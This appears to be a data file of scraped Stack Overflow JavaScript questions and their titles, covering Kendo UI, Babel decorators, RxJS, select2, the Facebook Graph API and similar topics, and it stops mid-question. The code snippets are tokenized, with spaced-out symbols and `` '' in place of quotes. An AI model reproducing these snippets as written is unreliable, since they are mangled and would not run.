questions are : How should I abstract this ? , I thought of extending from a BaseView class and adding the logic there , but I do n't know if there 's a better way.It 's okay to add a custom Model class which handles the calculation ? . I 've been using rails for a while and I 'm used to Model === Table in database.Thank you very much ! onRender : function ( ) { var pluginData = this. $ ( `` selector1 '' ) .plugin ( ) ; var pluginResult = this.handlePluginData ( pluginData ) ; this.doSomethingWithResult1 ( pluginResult ) ; } onRender : function ( ) { var pluginData = this. $ ( `` selector2 '' ) .plugin ( ) ; var pluginResult = this.handlePluginData ( pluginData ) ; this.doSomethingWithResult2 ( pluginResult ) ; }",Abstracting logic in Backbone js "JS : The following codes have worked before but not now . Since FB added the confirm box when liking a page , the edge.create was no more fired after confirming . < div class= '' fb-page '' data-href= '' { { $ fbPageUrl } } '' data-tabs= '' timeline '' data-small-header= '' false '' data-adapt-container-width= '' true '' data-hide-cover= '' false '' data-show-facepile= '' true '' > < /div > < script > $ ( document ) .ready ( function ( ) { $ .getScript ( '//connect.facebook.net/en_US/sdk.js ' , function ( ) { FB.init ( { appId : 'xxxxxxxxxxxxxx ' , xfbml : true , version : 'v2.9 ' } ) ; FB.Event.subscribe ( 'edge.create ' , function ( response ) { alert ( 'Fired ! ' ) ; } ) ; } ) ; } ) ; < /script >",Like FB page does n't fire edge.create event after confirming "JS : UPDATE : Here is a link to reproduce the problemRELATED : This is another question of mine where similar problems are happening with Kendo UI Map , maybe it could help someone figure this one out ! It has one failing and one working version.I use Kendo UI 's DataSource , DropDownList and Map in an Angular single-page application.I want to use the same DataSource object for both the DropDownList and the Map . However , the Map behaves in a very unpredictable manner.When I put the DropDownList before the Map in the template , only the DropDownList gets populated . Inspecting the network traffic reveals that indeed only one request is being made . When I put the Map first , both of them get populated and two requests are made.When I do n't use any promises in transport.read , but just call options.success immediately with a static value , everything works as expected . Two calls are being made.I 've been pulling my hair over this the entire work day , so any help is highly appreciated.The data source service : The controller : The view : What am I missing here ? m.factory ( 'ourDataSource ' , function ( foo , bar , baz ) { return new kendo.data.DataSource ( { transport : { read : function ( options ) { foo ( ) .then ( function ( result ) { return bar ( result ) ; } ) .then ( function ( result ) { return baz ( result ) ; } ) .then ( function ( result ) { options.success ( result ) ; } ) .catch ( function ( err ) { options.error ( err ) ; } ) ; } } } ) ; } ) ; m.controller ( 'ourController ' , [ 'ourDataSource ' , function ( ourDataSource ) { // set the data source of the dropdownlist this.ourDataSource = ourDataSource ; // set up the map layers this.mapLayers = [ { type : 'tile ' , urlTemplate : 'https : //server.arcgisonline.com/ArcGIS/rest/services/World_Street_Map/MapServer/tile/ # = zoom # / # = y # / # = x # ' , } , { type : 'marker ' , dataSource : ourDataSource , // the same data source as before locationField : 'Position ' , titleField : 'Title ' } ] ; } ] ) ; < div ng-controller= '' ourController as ctrl '' > < select kendo-drop-down-list k-data-text-field= '' 'Title ' '' k-data-value-field= '' 'Title ' '' k-data-source= '' ctrl.ourDataSource '' > < /select > < div kendo-map k-zoom= '' 2 '' k-center= '' [ 1 , 1 ] '' k-layers= '' ctrl.mapLayers '' > < /div > < /div >","Kendo UI : One data source , two widgets" "JS : I 'm trying to use a $ .post ( ) jquery call in a javascript file which I have in my webroot/js folder.The javascript file gets called in a number of places and I 'm struggling to figure out what the correct path to use is . I 'm using the following at the momentBut obviously using the ../../ wo n't work in certain parts of the app.What can I replace ../../ with ? $ .post ( `` ../../spanners/deleteSpanner '' , function ( data ) { alert ( data ) ; } ) ;",cakephp - getting the correct path in a javascript file "JS : I have added these two devDependencies in my package.json : In .babelrc a file I have added them as plugins : I am using mobx so observable is the clean syntax , my file looks like this : But it is always showing this error : I think I have done it correctly but there is no way to detect whether babel plugins are loaded or not . `` @ babel/plugin-proposal-class-properties '' : `` ^7.1.0 '' , '' @ babel/plugin-proposal-decorators '' : `` ^7.1.6 '' , { `` presets '' : [ `` module : metro-react-native-babel-preset '' ] , `` plugins '' : [ [ `` @ babel/plugin-proposal-decorators '' , { `` legacy '' : true } ] , [ `` @ babel/plugin-proposal-class-properties '' , { `` loose '' : true } ] ] } class AppStore { @ observable username = `` } export default ( new AppStore ( ) )",Babel plugin-proposal-decorators not working as expected "JS : I 've been reading up on Functional Reactive Programming , and though I have not used monads extensively in any language , I ca n't help but see them everywhere in the FRP design.This question 's answers have some fantastic descriptions of what functional reactive programming is , and I wo n't attempt to replicate that here . Basically , FRP creates relationships between values that change over time.So ca n't this be represented monadically ? Encapsulate the code that requires the values that are modified over time in a monad , call it Signal , then use those signals like so ( using Haskell do-notation for simplicity ) .Or is there more to FRP than I 'm understanding ? Are there paradigms that prevent using such a simple representation using monads ? Or is this a valid ( if perhaps simplified ) understanding of how FRP works ? do mx < - mouseX my < - mouseY wave < - currentTime > > = liftM sin -- do some stuff with these values",Can functional reactive programming ( FRP ) be expressed using monads ? "JS : I have a few div and when a user clicks on any one of them i wish to change its background color , and i also want that for the first time by default the first div should be active with the colored backgroundCode that i am using isbut the color is not changing . can anyone please tell me where the code has gone wrong .tabs.active a { background : black ; } < div class= '' col-md-2 tabs '' > < a href= '' # '' > < p > First < /p > < /a > < /div > < div class= '' col-md-2 tabs '' > < a href= '' # '' > < p > Second < /p > < /a > < /div > < div class= '' col-md-2 tabs '' > < a href= '' # '' > < p > Third < /p > < /a > < /div >",Change the color of div when user clicks over it "JS : I am implementing sound effects in HTML5 audio but after a while , it just stops playing any audio . The file type is correct because it starts fine but then seems to give up.Is there a better way to do this so it consistently plays sound ? Here is a link to my implementation . Easy to reproduce by pressing spacebar a lot until it eventually gives up ( also shoot the lights for added sounds ) . http : //craftyjs.com/elevatoraction/This occurs for me in the latest version of Chrome ( 8.0 ) Edit : I did as Gaurav suggested and only played the same instance of each sound file , but the same sort of problems are present . It will arbitrarily stop playing.Edit 2 : I just noticed that whenever I try to play the sound , the networkState is always 1 which according to this means it has n't fully loaded . That is odd seeing as it still plays sometimes and even when it plays the networkState is always 1 var sound = new Audio ( url ) ; function play ( ) { sound.play ( ) ; }",HTML5 Audio Plays Randomly "JS : I am using select2 in an express app to make an input box where users can select subjects from a list , and can update this list with any newly added options.The thing I 'm struggling with is that select2 runs client-side , whereas any data I use to seed my < option > tags ( that I want to append new options to ) is server-side.I want users to be able to add subjects that do n't exist in the original list , so that future users will be presented with newly added options ( as well as the original ones ) These are the options I 've considered for achieving this ( in increasing desirability ) : Add new < option > Subject < /option > html tags for each added tagPush new tags to an array , and seed the < option > s from this arraySeed the < option > from a json object , and update this object on tag creationSeed the < option > from an external database ( e.g . mongoose ) , and update this on tag creationAs far as I can see , all of these options require that my client-side code ( select2-js ) talks to server-side code ( where my array , .json file or mongoose schema would be ) , and I have no idea how to go about doing this . In my current approach I am attempting to to specify a `` local '' json file as my data source in my select2 call ( see here ) . However , this does n't seed the database with any options , so this is n't working as I expected . I then check if each new tag exists in an array ( dataBase ) , and add it to the database if not : However , this approach will add the new tags to an array that is destroyed once I refresh the page , and new tags are not stored.How can I modify this to load server-side data ( json , mongoose document or anything else that is considered a best practice ) , and update this data with newly added options ( that pass my tests ) ? // Data to seed initial tags : var dataBase = [ { id : 0 , text : 'Maths ' } , { id : 1 , text : 'English ' } , { id : 2 , text : 'Biology ' } , { id : 3 , text : 'Chemistry ' } , { id : 4 , text : 'Geography ' } ] ; $ ( document ) .ready ( function ( ) { $ ( '.select2-container ' ) .select2 ( { ajax : { url : '../../subjects.json ' , dataType : 'json ' , } , width : 'style ' , multiple : true , tags : true , createTag : function ( tag ) { var isNew = false ; tag.term = tag.term.toLowerCase ( ) ; console.log ( tag.term ) ; if ( ! search ( tag.term , dataBase ) ) { if ( confirm ( `` Are you sure you want to add this tag : '' + tag.term ) ) { dataBase.push ( { id : dataBase.length+1 , text : tag.term } ) ; isNew = true ; } } return { id : tag.term , text : tag.term , isNew : isNew } ; } , tokenSeparators : [ ' , ' , ' . ' ] } ) } ) ; // Is tag in database ? function search ( nameKey , myArray ) { for ( var i=0 ; i < myArray.length ; i++ ) { if ( myArray [ i ] .text.toLowerCase ( ) === nameKey.toLowerCase ( ) ) { return true } } return false } ;",Write new select2 option tags to local database in express "JS : i want to put my marker pin for this code : how can i do that ? ? ? ? ? var map = new GMap2 ( document.getElementById ( `` map-canvas '' ) ) ; map.addControl ( new GLargeMapControl ( ) ) ; map.addControl ( new GMapTypeControl ( ) ) ; map.setCenter ( new GLatLng ( < ? = $ lat ; ? > , < ? = $ lng ; ? > ) , 6 ) ; var point = new GLatLng ( < ? = $ lat ; ? > , < ? = $ lng ; ? > ) ; var marker = createMarker ( point , 'Welcome : < b > < /b > < br > Second Info Window with an image < br > < img src= '' http : //localhost/gps/user_photo/ '' width=80 height=80 > ' ) map.addOverlay ( marker ) ; function createMarker ( point , html ) { var marker = new GMarker ( point ) ; GEvent.addListener ( marker , `` click '' , function ( ) { marker.openInfoWindowHtml ( html ) ; } ) ; return marker ; }",put my own image as marker instead of pin mark "JS : angular.js ng-repeat items with html contentI have many colleges , location and pincode details but i 'm showing now by default html content .how to show list of colleges , locations and pincodes.Can anyone show me the example in plunker Using ng-repeat directive < body ng-app= '' task '' > < div ng-controller= '' AppCtrl '' ng-cloak > < md-content class= '' md-padding '' > < div > < md-card-title layout= '' row '' layout-align= '' start '' > < md-checkbox md-no-ink aria-label= '' '' ng-model= '' data.cb5 '' class= '' md-default '' > < /md-checkbox > < md-card-title-text layout= '' column '' > < span class= '' md-headline '' > Maturi venkata subbarao engg college < /span > < span class= '' md-subhead '' > Nadergul , Hyderabad , Telangana 501510 < /span > < /md-card-title-text > < /md-card-title > < /div > < /md-content > < /div >",How to use ng-repeat : Angularjs ? "JS : I have a < div > that contains an inline svg . I would like a function that opens that svg in a new tab/window . I only want to use the front-end js without having to save the svg anywhere.If I use window.open ( ) , it puts the svg inside an < html > tag which I 'm trying to avoid.I 'm basically trying to change this answer but then only have the svg code left : https : //stackoverflow.com/a/21667339/1083923 // -- -print button -- - var printSVG = function ( ) { var popUpAndPrint = function ( ) { var container = $ ( ' # svgDiv ' ) ; var width = parseFloat ( container.getAttribute ( `` width '' ) ) var height = parseFloat ( container.getAttribute ( `` height '' ) ) var printWindow = window.open ( `` , 'PrintMap ' , 'width= ' + width + ' , height= ' + height ) ; printWindow.document.writeln ( $ ( container ) .html ( ) ) ; printWindow.document.close ( ) ; printWindow.print ( ) ; printWindow.close ( ) ; } ; setTimeout ( popUpAndPrint , 500 ) ; } ;",Open inline SVG in new window - Javascript "JS : To access components in the current URL path , the following works in my application : This is the textbook case and the variable id gets set as advertised . But I want to use the more elegant await form and it does n't work . ( Of course I will have a string of await statements following . ) Like this : What I get is the output from the first console.log ( ) call but the second never comes . And of course the id variable does n't get set and the rest of the code never executes.The documentation and the working code says that this.route.params is an Observable , which should be convertable to a Promise via toPromise ( ) and thereby used with Typescript async/await . I use await statements with the Observables that come out of the HttpClient module just fine.But it does n't work . Anyone know why ? constructor ( private route : ActivatedRoute ) { } ... load ( ) { this.route.params.subscribe ( ( params ) = > { const id = +params [ 'id ' ] ; console.log ( 'got parameter ' , id ) ; ... etc async load ( ) { try { console.log ( 'getting parameters ' ) ; const params = await this.route.params.toPromise ( ) ; console.log ( 'got params ' , params ) ; const id = +params [ 'id ' ] ; ... etc",Angular promise from ActivatedRoute does n't work with Typescript await "JS : I know a little bit of BaconJS , but now I 'm trying to learn RxJS by creating a `` User is typing ... '' indicator . It 's pretty simple , it can be explained in two simple rules : When the user is typing , the indicator should be immediately visible.When the user stops typing , the indicator should still be visible until 1 second after the user 's last typing action.I 'm not sure if this is correct , but I have so far created two streams : One heartbeat stream that emits a 0 every second.One stream to capture the user typing events and emit a 1 for every event.Then I merge them together , and simply tap into the result . If it 's a 1 , then I show the indicator . If it 's a 0 , then I hide the indicator.This is what that looks like : Here is a link to the JSBin : http : //jsbin.com/vekixuv/edit ? js , console , outputThere are several problems and questions I have with this implementation : Sometimes when the user is typing , a 0 sneaks through , so the indicator flashes away for a split second before coming back on the next user keystroke.It 's not guaranteed that the indicator will disappear 1 second after the user stops typing . It 's only guaranteed that the indicator will disappear within 1 second ( which is kind of the opposite of what we want ) .Is using a heartbeat stream the correct RxJS way to do this ? I have a feeling it might not be.I have a feeling that I am completely off-base with my implementation , I appreciate any help that you may be able to provide . Thanks . const showTyping = ( ) = > $ ( '.typing ' ) .text ( 'User is typing ... ' ) ; const showIdle = ( ) = > $ ( '.typing ' ) .text ( `` ) ; // 1 second heartbeats are mapped to 0const heartbeat $ = Rx.Observable .interval ( 1000 ) .mapTo ( 0 ) ; // user typing events are mapped to 1const input $ = Rx.Observable .fromEvent ( $ ( ' # input ' ) , 'input ' ) .mapTo ( 1 ) ; // we merge the streams togetherconst state $ = heartbeat $ .merge ( input $ ) .do ( val = > val === 0 ? showIdle ( ) : showTyping ( ) ) .subscribe ( console.log ) ;",How to use RxJS to display a `` user is typing '' indicator ? "JS : I am trying to wrap my head around pure functions , but I am not sure that I really understand it . I know that pure functions should n't mutate external state , and it should return the same output every time as long as it has the same input.I know that for example this function is impure , because it mutates the cart variable which other parts of the program may use : The same function in a pure state : This makes sense to me . I have learned that pure functions should always return something.However , I am working on some stuff that requires me to use the HTML5 canvas element , and I have this function which clears the canvas : How can I make the above function pure ? I realize it 's impure because it does n't return anything , also it mutates the state of the canvas variable . Is DOM-manipulation inherently impure ? Any help would be appreciated : ) const addToCart = ( cart , item ) = > { cart.push ( item ) ; return cart ; } ; const addToCart = ( cart , item ) = > { const newCart = lodash.cloneDeep ( cart ) ; newCart.push ( item ) ; return newCart ; } ; function clearCanvas ( canvas ) { canvas.getContext ( '2d ' ) .clearRect ( 0 , 0 , canvas.width , canvas.height ) ; }",Pure functions when working with DOM manipulation "JS : I 've been receiving unexpected data from my web app . Can a hacker change values in a javascript function ? If my code is : is it possible that the 'new_item ' parameter has been tampered with ? What can I do to prevent this ? my_function ( 'new_item',10,20,30,40 ) ;",Can a hacker inject values in to my jQuery function ? "JS : If I want to print a unicode Chinese character in ES6/ES2015 javascript , I can do this : Likewise , if I want to interpolate a variable into a template string literal , I can do this : However , it seems that I ca n't combine the two to print a list of , for example , 40 consecutive unicode Chinese characters . This does n't work : So I 'm asking if there 's any way it 's possible . console.log ( ` \u { 4eb0 } ` ) ; let x = `` 48b0 '' ; console.log ( ` The character code is $ { x.toUpperCase ( ) } . ` ) ; for ( let i = 0 , firstCharCode = parseInt ( `` 4eb0 '' , 16 ) ; i < 40 ; ++i ) { let hexCharCode = ( firstCharCode + i ) .toString ( 16 ) ; console.log ( ` \u { $ { hexCharCode } } ` ) ; // generates SyntaxError }",Combining ES6 unicode literals with ES6 template literals "JS : We 're launching a new content management system and redoing our user input forms in a way that allows the marketing department total control over what is displayed , in what order etc . I really want to use the jquery ui datepicker plugin because we can basically plug in its validation rules directly into the CMS , allowing for a fully customizeable control without any dev input . I 've showed it off and shown how easy it is to configure.Our current forms use three different drop downs , one each for day , month and year . There are a few people who are n't budging on moving away from this look/feel . We 've all seen them , one of these guys : I can implement this , no doubt . What I do n't want to do is write and maintain a javascript library that translates rules from a CMS into js inputs -- there has to be a better way.I 've shown them the month/year drop down selectors in the jquery ui plugin : http : //jqueryui.com/demos/datepicker/ # dropdown-month-year but they 're still not buying it . Something about showing the days of the month ... stakeholders.What I want to know is if there is an existing configurable plugin that matches/rivals the jquery UI plugin in configurability and give the 3-select form factor . I 'm making particular use of the mindate , maxdate ( for different date ranges for different input types ) , and altformat options ( to automatically translate the submission format that our backend expects ) . Sorry if my frustration is coming out ... and thanks for the input.Edit : just remembered there 's a separate UI/UX area on stack exchange . My apologies if this is better suited over there - I do n't have an account there yet . < select > < option value= '' '' > -- Month -- < /option > < option value= '' 1 '' > Jan < /option > < option value= '' 2 '' > Feb < /option > < option value= '' 3 '' > etc. < /option > < /select > < select > < option value= '' '' > -- Day -- < /option > < option value= '' 1 '' > 1 < /option > < option value= '' 2 '' > etc. < /option > < option value= '' 31 '' > 31 < /option > < /select > < select > < option value= '' '' > -- Year -- < /option > < option value= '' etc . `` > etc. < /option > < /select >",Date validation plugin without calendar "JS : Requirement : Convert input integer or decimal to an array and convert array of integers which may include a decimal to a number.Restriction : Do not use string methods or convert input or output to a string during the procedure ( a self-imposed restriction followed throughout each version of the code composed ) .Context and use casesBigInt in available in some browsers , though not a BigDecimal . The conversion from integer or decimal to array and array to integer or decimal should be possible using the JavaScript programming language . The input and output should not need to be converted to a string during the procedure . Ability to adjust nth digit of an integer or decimal by adjusting decimal or integer at nth index of array , to try to solve OEIS A217626 directly , for examplewhere the decimal portion can be manipulated by referencing the index of an array , then converting the array back to a number.The current specification is WIP and could be considered challenging to describe relevant to the processing of the decimal portion of input , specifically where there are leading zeros . Essentially , am attempting to spread an integer or decimal to an array . The function which converts a number or integer to an array must be capable of being converted to a generator function , for the ability to achieveby setting the function as value of Number.prototype [ Symbol.iterator ] to numberToArray.The most recent version of the code ( some of the concepts and original versions of the code were based on questions and answers at Get decimal portion of a number with JavaScript ; Converting int value to String without using toString and parseInt method ; Convert integer to array of digits ) , which has two bugs at resulting output of tests cases from arrayToNumber 100.05010000000497 should be 100.00015 and -83.082 should be -83.782.Questions : How to fix the listed bugs in the existing code ? Within the restriction of not using string methods or converting input or output to a string during the procedure , can the code be improved or composed in a different manner altogether to meet the requirement ? Can the current specification be improved as to clarity of terms used and to avoid confusion as to what the expected output is for decimals ? ~~ ( 128.625*9*1.074 ) //1243~~ ( 128.625*9*1.144 ) //1324 Input < -- -- -- -- -- > Output-123 [ -1 , -2 , -3 ] 4.4 [ 4,0.4 ] 44.44 [ 4,4,0.4,4 ] -0.01 [ -0.01 ] 123 [ 1,2,3 ] 200 [ 2,0,0 ] 2.718281828459 [ 2,0.7,1,8,2,8,1,8,2,8,4,5,8,9 ] 321.7000000001 [ 3,2,1,0.7,0,0,0,0,0,0,0,0,1 ] 809.56 [ 8,0,9,0.5,6 ] 1.61803398874989 [ 1,0.6,1,8,0,3,3,9,8,8,7,4,9,8,9 ] 1.999 [ 1,0.9,9,9 ] 100.01 [ 1,0,0,0.01 ] 545454.45 [ 5,4,5,4,5,4,0.4,5 ] -7 [ -7 ] -83.782 [ -8 , -3 , -0.7 , -8 , -2 ] 1.5 [ 1,0.5 ] 100.0001 [ 1,0,0,0.0001 ] [ ... Math.E ] - > [ 2 , 0.7 , 1 , 8 , 2 , 8 , 1 , 8 , 2 , 8 , 4 , 5 , 9 ] - > 2.718281828459 function numberToArray ( n ) { if ( Math.abs ( n ) == 0 || Math.abs ( n ) == -0 ) { return [ n ] } const r = [ ] ; let [ a , int = Number.isInteger ( a ) , d = g = [ ] , e = i = 0 ] = [ n || this.valueOf ( ) ] ; if ( ! int ) { let e = ~~a ; d = a - e ; do { if ( d < 1 ) ++i ; d *= 10 ; } while ( ! Number.isInteger ( d ) ) ; } for ( ; ~~a ; r.unshift ( ~~ ( a % 10 ) ) , a /= 10 ) ; if ( ! int ) { for ( ; ~~d ; g.unshift ( ~~ ( d % 10 ) ) , d /= 10 ) ; g [ 0 ] = g [ 0 ] * ( 1 * ( 10 ** -i ) ) r.push ( ... g ) ; } return r ; } function arrayToNumber ( a ) { if ( ( Math.abs ( a [ 0 ] ) == 0 || Math.abs ( a [ 0 ] ) == -0 ) & & a.length == 1 ) return a [ 0 ] ; const [ g , r = x = > x.length == 1 ? x [ 0 ] : x.length === 0 ? x : x.reduce ( ( a , b ) = > a + b ) , b = a.find ( x = > g ( x ) ) , p = a.findIndex ( x = > g ( x ) ) ] = [ x = > ! Number.isInteger ( x ) ] ; let [ i , j ] = [ b ? p : a.length , -1 ] ; return a.length === 1 ? a [ 0 ] : b & & p ? r ( a.slice ( 0 , p ) .map ( x = > i ? x * ( 10 ** -- i ) : x ) ) + ( a [ p ] + ( a [ p + 1 ] ! == undefined ? r ( a.slice ( p + 1 ) .map ( x = > x * ( 10 ** -- j ) ) ) : 0 ) ) : r ( a.map ( x = > i ? x * ( 10 ** -- i ) : x ) ) } let tests = [ 0 , 200 , 100.00015 , -123 , 4.4 , 44.44 , -0.01 , 123 , 2.718281828459 , 321.7000000001 , 809.56 , 1.61803398874989 , 1.999 , 100.01 , 545454.45 , -7 , -83.782 , 12 , 1.50 , 100.0001 ] ; let arrays = tests.map ( n = > [ ... numberToArray ( n ) ] ) ; let numbers = arrays.map ( n = > arrayToNumber ( n ) ) ; console.log ( { tests , arrays , numbers } ) ;","Number ( integer or decimal ) to array , array to number ( integer or decimal ) without using strings" "JS : I am using Facebook Graph API to get contents from a Facebook fan page and then display them into a website . I am doing it like this , and it is working , but somehow , it seems that my hosting provider is limiting my requests every certain time ... . So I would like to cache the response and only ask for a new request every 8h for example.The get_data function uses CURL in the following way : This works fine , I can output the JSON data response and use it as I like into my website to display the content . But as I mention , in my hosting , this seems to fail every X time , I guess because I am getting limited . I have tried to cache the response using some code I saw here at Stackoverflow . But I can not figure out how to integrate and use both codes . I have managed to create the cache file , but I can not manage to read correctly from the cached file and avoid making a new request to Facebook graph API.Many thanks in advance for your help ! $ data = get_data ( `` https : //graph.facebook.com/12345678/posts ? access_token=1111112222233333 & limit=20 & fields=full_picture , link , message , likes , comments & date_format=U '' ) ; $ result = json_decode ( $ data ) ; function get_data ( $ url ) { $ ch = curl_init ( ) ; $ timeout = 5 ; curl_setopt ( $ ch , CURLOPT_URL , $ url ) ; curl_setopt ( $ ch , CURLOPT_RETURNTRANSFER , 1 ) ; curl_setopt ( $ ch , CURLOPT_CONNECTTIMEOUT , $ timeout ) ; curl_setopt ( $ ch , CURLOPT_SSL_VERIFYPEER , false ) ; $ datos = curl_exec ( $ ch ) ; curl_close ( $ ch ) ; return $ datos ; } // cache files are created like cache/abcdef123456 ... $ cacheFile = 'cache ' . DIRECTORY_SEPARATOR . md5 ( $ url ) ; if ( file_exists ( $ cacheFile ) ) { $ fh = fopen ( $ cacheFile , ' r ' ) ; $ cacheTime = trim ( fgets ( $ fh ) ) ; // if data was cached recently , return cached data if ( $ cacheTime > strtotime ( '-60 minutes ' ) ) { return fread ( $ fh ) ; } // else delete cache file fclose ( $ fh ) ; unlink ( $ cacheFile ) ; } $ fh = fopen ( $ cacheFile , ' w ' ) ; fwrite ( $ fh , time ( ) . `` \n '' ) ; fwrite ( $ fh , $ json ) ; fclose ( $ fh ) ; return $ json ;",Facebook Graph API caching JSON response "JS : For example , I have this : I want to do something after r.pipe ( z ) .pipe ( w ) finishes . I tried something like this : but it does n't work for a pipe chain.How can I make it work ? var r = fs.createReadStream ( 'file.txt ' ) ; var z = zlib.createGzip ( ) ; var w = fs.createWriteStream ( 'file.txt.gz ' ) ; r.pipe ( z ) .pipe ( w ) ; var r = A.pipe ( B ) ; r.on ( 'end ' , function ( ) { ... } ) ;",How to check completion of a pipe chain in node.js ? JS : Why does the Google Analytics script I add to my webpage need to come in two script blocks ? < script type= '' text/javascript '' > var gaJsHost = ( ( `` https : '' == document.location.protocol ) ? `` https : //ssl . '' : `` http : //www . `` ) ; document.write ( unescape ( `` % 3Cscript src= ' '' + gaJsHost + `` google-analytics.com/ga.js ' type='text/javascript ' % 3E % 3C/script % 3E '' ) ) ; < /script > < script type= '' text/javascript '' > try { var pageTracker = _gat._getTracker ( `` UA-xxxxxxx-xx '' ) ; pageTracker._trackPageview ( ) ; } catch ( err ) { } < /script >,"Google analytics , why have two script blocks ?" "JS : I am using a Squarespace website with a specific template that uses an index page and sub pages as the contents of the index page . ( The pages are scrollable one after the other ) . I guess anchors are being used by Squarespace to scroll to relevant page from the index page.I added a javascript to show the current time and update it every second ( moment.js and moment-timezone ) .I am updating the time every second with SetInterval ( function_name,1000 ) ; The time is updating correctly every second . However , this causes the particular page where I am updating the time to keep coming into focus when trying to scroll up or down ( it happens every second ) . So If i try to scroll up or down from that particular page where the time is updating , it keep scrolling automatically back to that page every second ! ! .It seems there is an event triggering every second which causes this . The actual function that I am calling every second is the following : Therefore , All I am doing is changing the innerHTML of a particular HTML element to show the current time.I am calling the above function as follows : However , as I said , the repeated call to the above function through SetInterval causes the webpage to keep autoscrolling to this section of the website ( Contacts Page ) every second ! ! .I can see that there is an event DOMSubtreeModified being triggered every time I call the above function . I added a custom listener to DOMSubtreeModified event , but still I am still getting the same issue.It could be that this is due to some sort of redraw event ? Anyway , I can not seem to locate the issue and I am unable to overcome this problem.Any help would be appreciated ! ! Thanks function showLocalTime ( ) { var momentLondon = moment ( ) .tz ( `` Europe/London '' ) .format ( 'HH : mm : ss z ' ) ; // The location label HTML var locationHTML = ' < strong > Location < /strong > < br > ' ; // The HTML string for london , England var londonHTML = 'London , England ' ; $ ( `` p : contains ( 'London , England ' ) '' ) .html ( locationHTML + londonHTML + ' ( ' + momentLondon + ' ) ' ) ; } < script > $ ( function ( ) { document.addEventListener ( `` DOMSubtreeModified '' , function ( ) { return ; } ) ; window.setInterval ( showLocalTime , 1000 ) ; // update it periodically } ) ; < /script >","Javascript , SetInterval and SetTimeOut functions cause jumpy scrolling" "JS : I 'm trying to come up with an efficient way to overwrite 2 strings that look like this : In the above example , str2 should overwrite str1 to produce str3 : In my tests , I turned str2 into an array and tested each key against a match in str1 . Can anyone think of a more efficient way to write this : str1 = `` width=800 , height=600 , resizable=no , titlebar=no '' ; str2 = `` width=100 , height=100 '' ; str3 = `` width=100 , height=100 , resizable=no , titlebar=no '' ; str1 = `` width=800 , height=600 , resizable=no , titlebar=no '' ; str2 = `` width=100 , height=100 '' ; sArray = str2.split ( `` , '' ) ; for ( var i = 0 ; i < sArray.length ; i++ ) { var key = sArray [ i ] .match ( / ( \w+ ) =/gi ) .toString ( ) .replace ( `` = '' , `` '' ) , in_str1 = str1.search ( key ) , replace_pattern = new RegExp ( key+ '' = ( \\w+ ) '' , `` gi '' ) ; if ( in_str1 ! == -1 ) { str1 = str1.replace ( replace_pattern , sArray [ i ] ) ; } else { str1 = str1 + `` , '' + sArray [ i ] ; } }",Merging two strings of key=value pairs in JavaScript "JS : consider : why does e.currentTarget changes after the timeout ? is that a browser ( chrome ) bug ? how can I transfer an exact clone of the event to the timeout function ? I tried simple cloning but currentTarget is not writable and can not be ovverridden .. let sel=document.getElementById ( 'mys ' ) ; sel.onchange=function ( e ) { console.log ( e.currentTarget===null ) ; // false setTimeout ( e = > { console.log ( e.currentTarget===null ) ; // true } , 0 , e ) ; } < select id= '' mys '' > < option value= '' volvo '' > Volvo < /option > < option value= '' saab '' > Saab < /option > < option value= '' mercedes '' > Mercedes < /option > < option value= '' audi '' > Audi < /option > < /select >",event currentTarget changes after setTimeout "JS : I have an application that attempts to get locations settings from the browser , this tends to take a little while so I want it to run when the page loads . However , if you click the submit button before the location callback has run , you have no location data . My question is simple , how do I wait for my location success callback to finish before submitting my form ? ( without something silly like a sleep statement ) .Ideally I 'd like to flash a busy indicator and wait for the data . Is this possible ? I have the code to make a busy indicator visible , but am not sure how I can elegantly wait for the data to be available . $ ( document ) .ready ( function ( ) { var lat = `` '' ; var lng = `` '' ; var accuracy = `` '' ; var locationFound = false ; if ( navigator.geolocation ) { navigator.geolocation.getCurrentPosition ( function positionSuccess ( loc ) { lat = loc.coords.latitude ; lng = loc.coords.longitude ; accuracy = loc.coords.accuracy ; locationFound = true ; } ) ; } else { alert ( `` I 'm sorry , your jerk browser does n't support geolocation '' ) ; locationFound = true ; } $ ( ' # locForm ' ) .submit ( function ( e ) { $ ( ' # lat ' ) .val ( lat ) ; $ ( ' # lng ' ) .val ( lng ) ; $ ( ' # boundary ' ) .val ( $ ( ' # boundary-select ' ) .val ( ) ) ; }",Delay form submission until location is retrieved "JS : I run into an issue recently - in some parts of my angular application I have to show the date in the following format : MMMM yyyy , as well in some components of the Angular UI Bootstrap framework.The basic issue is that in some languages the month in nominative and genitive case is spelled differently . In my case that would be Polish , Ukrainian and Russian.As it seems by default MMMM stands for month name in genitive case , which generally makes sense.Though I 've noticed that in angular locale files for Russian and Polish language there is a property STANDALONEMONTH which , as I see , stands for month name in nominative . ( though file for Ukrainian is missing that part ) Though I 'm not quite sure how to take use on those.My basic suggestion would be to go with a decorator for the dateFilter.So the question is - whether there is a standard way for month name inflection handling in angular , or a workaround that is commonly used , so that the third party libraries using the $ locale would use the proper month name.ExampleAs you see - for Ukrainian and Polish the name of the month should have a different ending in those two cases . As well for Polish and Russian there is a month name in proper case in angular locale files ( STANDALONEMONTH ) . Though I 'm not quite sure they are used anywhere - was not able to find usage , or maybe I am missing something . date : '2016-01-20'en-us : 'dd MMMM yyyy ' - > '20 January 2016 ' 'MMMM yyyy ' - > 'January 2016 ' uk-ua : 'dd MMMM yyyy ' - > '20 січня 2016 ' // genitive case - it is fine'MMMM yyyy ' - > 'січня 2016 ' // wrong : should be 'січень 2016'pl-pl : 'dd MMMM yyyy ' - > '20 stycznia 2016 ' // genitive case - it is fine'MMMM yyyy ' - > 'stycznia 2016 ' // wrong : should be 'styczeń 2016 '",How to handle month names inflection - Angular date localization "JS : I had a lot of : I searched many questions about the tap event problem firing twice , and I solved my problem using e.preventDefault ( ) , now I have a lot of : Ok , but as I said , I have many of these calls and I do n't like much to write every time e.preventDefault ( ) , then I typed $ .fn.tap on chrome 's console and it showed me : I tried to overwrite it this way : But it did n't worked as it did in the previous e.preventDefault ( ) .I 'm not seeing anything obvious and I 'm out of ideas for this.Any help or idea is appreciated . Thanks in advance . $ ( ' # element ' ) .on ( 'tap ' , function ( ) { // some code .. } ) $ ( ' # element ' ) .on ( 'tap ' , function ( e ) { e.preventDefault ( ) ; // some code .. } ) function ( a ) { return a ? this.bind ( c , a ) : this.trigger ( c ) } $ .fn.tap = function ( a ) { a.preventDefault ( ) ; return a ? this.bind ( c , a ) : this.trigger ( c ) }",Overwriting tap event with preventDefault "JS : I have some code : What surprised me is that all that is logged is foo . I expected the for loop to iterate over the properties of the obj 's prototype as well ( namely bar ) , because I did not check for hasOwnProperty . What am I 